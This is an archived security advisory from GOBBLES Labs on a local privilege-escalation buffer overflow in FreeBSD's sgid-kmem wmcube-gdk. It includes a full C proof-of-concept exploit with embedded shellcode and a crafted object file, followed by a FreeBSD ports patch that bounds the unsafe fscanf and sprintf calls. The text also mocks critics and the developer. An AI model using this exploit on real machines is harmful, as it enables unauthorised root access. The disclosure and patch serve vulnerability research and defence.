|
COMMAND wmcube-gdk local root vulnerability SYSTEMS AFFECTED default installation from FreeBSD\'s Ports collection Linux versions PROBLEM GOBBLES Labs (http://www.bugtraq.org) released an advisory about default installation of wmcube-gdk, which is sgid(kmem) - leading to a local root exploit. It can be found at http://www.ne.jp/asahi/linux/timecop/ GOBBLES notice user can specify object description file which overflow small buffer which then transform wmcube-gdk into swiss army knife with gid(kmem) privs. For all critics who say, \"this not root if it only gid(kmem)!\" GOBBLES say, \"Go back to security-basic mailing list to learn trick for quickly becoming uid(root) on the FreeBSD and other OS when you have gid(kmem). GOBBLES think that all people who quick to criticize GOBBLES when all he really doing is saying things in tricky way to invite criticism from ignorant so that GOBBLES can mock them are just complete idiots who spend way too much time trying to get three years of \"security experience\" so they can go take 250 question CISSP test and then let the world know on mailing lists that they have elite whitehat pussy ethical hacker with no skill certification (which is what CISSP stand for). Anyhow, you idiots know who you are, and beware that any mockery of GOBBLES by inexperienced and unskilled critics who brag certifications will not be accepted, dummies. Hehehe GOBBLES got off on a little dark tangent from he speech and will now get back to original subject, which is local root exploit in wmcube-gdk. Funny thing that GOBBLES did notice is that wmcube program that wmcube-gdk is based off is not vulnerable to this bug (but is to others, go do sourcecode audit before GOBBLES make monkey out of you!), so the fault is entirely belonging to programmer timecop... encourage him to stop writing code with silly beginner style mistakes. Stupid mistakes made by stupid beginner programmer. Here problem GOBBLES did spot in wmcube.c, in the function loadobj(). int loadobj(char *filename) { FILE *fp; char tmp[64] = { \"\" }; int i = 0, counter = 1; 10: ... fscanf(fp, \"%s\", tmp); ... goto 10; } As you can see, programmer pick to chose data in 64 bytes small buffer, which is OK but the problem is the fscanf(fp, \"s\", tmp); trick used multiple times in code he make of loadobj(). Bad decision by newbie programmer who do not understand that penetrator can specify own object description file with -o argument and put long lines in it and then overflowing 64 byte buffer! Exploit ======= This time GOBBLES choose to not include shellcode that execve() /bin/bash so FreeBSD admin can feel safe until author patches he program! /* * (c) Andrew / GOBBLES Security * * PoC exploit for wmcube-gdk * * Usage: /path/to/GOBBLES-wmcube-gdk-exploit [offset] * */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <errno.h> unsigned char GOBBLES_shellcode[] = \"\\xb8\\xf5\\xf5\\xff\\xff\\xf7\\xd0\\x50\\xb8\\xb3\\xba\\xac\\xde\\xf7\\xd0\\x50\" \"\\xb8\\xb8\\xb0\\xbd\\xbd\\xf7\\xd0\\x50\\x89\\xe6\\x31\\xc0\\x31\\xdb\\xb0\\xf5\" \"\\xf6\\xd0\\x50\\x56\\x53\\xb0\\x04\\x50\\xcd\\x80\\xb0\\x01\\x50\\xcd\\x80\"; int main(int argc, char **argv) { FILE *fd; int i; u_long retaddy = 0xbfbff634; if(argc == 2) retaddy += atoi(argv[1]); fd = fopen(\".gobbles\", \"wt\"); fprintf(fd, \"WMCUBE_COORDINATES\\n\"); fprintf(fd, \"1aaa\"); // atoi().. for(i = 0; i < 64; i += 8) fprintf(fd, \"GOBBLES!\"); printf(\"GOBBLES: Using %lx as retaddy\\n\", retaddy); fflush(NULL); fwrite(&retaddy, 4, 1, fd); fprintf(fd, \"GOBBLES!\"); fprintf(fd, \"GOBBLES!\"); fprintf(fd, \"%s\", GOBBLES_shellcode); fprintf(fd, \" 0 -42 42\\n\"); fprintf(fd, \"WMCUBE_LINES\\n\"); fprintf(fd, \"1 1\\n\"); fclose(fd); execl(\"/usr/X11R6/bin/wmcube-gdk\", \"wmcube-gdk\", \"-o\", \".gobbles\", 0); unlink(\".gobbles\"); /* Mum always told me to cleanup when im done! */ fprintf(stderr, \"System immune against GOBBLES exploit!\\n\"); return 0; } SOLUTION Workaround ========== [0x01] Shutdown your computer until a official fix is available.. ..OR.. [0x02] Replace fscanf(fp, \"%s\", tmp); in loadobj(), wmcube.c with fgets(tmp, 64, fp);. Then uninstall bad wmcube-gdk, recompile and do a new install! Fix === By corecode. there might still be some problems as i didn\'t have much time to audit the source code. better than nothing diff -ruN wmcube-gdk.old/Makefile wmcube-gdk/Makefile --- wmcube-gdk.old/Makefile Tue Dec 4 02:00:43 2001 +++ wmcube-gdk/Makefile Tue Dec 18 14:41:39 2001 @@ -7,6 +7,7 @@ PORTNAME= wmcube PORTVERSION= 0.98p1 +PORTREVISION= 1 CATEGORIES= sysutils windowmaker MASTER_SITES= http://www.ne.jp/asahi/linux/timecop/software/ PKGNAMESUFFIX= -gdk diff -ruN wmcube-gdk.old/files/patch-wmcube.c wmcube-gdk/files/patch-wmcube.c --- wmcube-gdk.old/files/patch-wmcube.c Thu Aug 30 06:24:25 2001 +++ wmcube-gdk/files/patch-wmcube.c Tue Dec 18 14:38:42 2001 @@ -1,10 +1,73 @@ ---- wmcube.c.orig Thu Aug 16 13:04:38 2001 -+++ wmcube.c Thu Aug 16 13:05:00 2001 -@@ -38,7 +38,6 @@ - #include <math.h> +--- wmcube.c.orig Tue Aug 28 12:08:13 2001 ++++ wmcube.c Tue Dec 18 14:37:25 2001 +@@ -39,7 +39,6 @@ + #ifdef LINUX /* forgotten includes */ -#include <getopt.h> #include <dirent.h> + #endif - #include <sys/wait.h> +@@ -778,7 +777,7 @@ + newx -= CHAR_WIDTH; + } + +- sprintf(buf, \"%02i%%\", num); ++ snprintf(buf, 5, \"%02i%%\", num); + for (i = 0; (c = buf[i]); i++) { + if (c == \'%\') + copy_xpm_area(60, 0, 7, 9, newx, y); +@@ -1250,7 +1249,7 @@ + exit(0); + } + +- fscanf(fp, \"%s\", tmp); ++ fscanf(fp, \"%63s\", tmp); + + if (strcmp(tmp, \"WMCUBE_COORDINATES\") != 0) { + printf +@@ -1259,7 +1258,7 @@ + exit(0); + } + +- fscanf(fp, \"%s\", tmp); ++ fscanf(fp, \"%63s\", tmp); + counter = atoi(tmp); + + while ((strcmp(tmp, \"WMCUBE_LINES\") != 0) +@@ -1280,7 +1279,7 @@ + fclose(fp); + exit(0); + } +- fscanf(fp, \"%s\", tmp); ++ fscanf(fp, \"%63s\", tmp); + + if (feof(fp)) { + printf +@@ -1398,7 +1397,7 @@ + char cpuid[6]; + char check_cpu[6]; + +- sprintf(check_cpu, \"cpu%d\", which_cpu); ++ snprintf(check_cpu, 6, \"cpu%d\", which_cpu); + + if ((fp = fopen(\"/proc/stat\", \"rb\")) == NULL) { + perror(\"/proc/stat required for this system\"); +@@ -1409,7 +1408,7 @@ + return 0; + + for (i = -2; i < which_cpu; i++) { +- fscanf(fp, \"%s\", cpuid); ++ fscanf(fp, \"%5s\", cpuid); + } + + if (strcmp(check_cpu, cpuid) != 0) { +@@ -1431,7 +1430,7 @@ + fp = fopen(\"/proc/stat\", \"rt\"); + + for (i = -2; i < which_cpu; i++) { +- fscanf(fp, \"%s %d %d %d %d\", cpuid, &cpu, &nice, &system, &idle); ++ fscanf(fp, \"%5s %d %d %d %d\", cpuid, &cpu, &nice, &system, &idle); + } + + fclose(fp);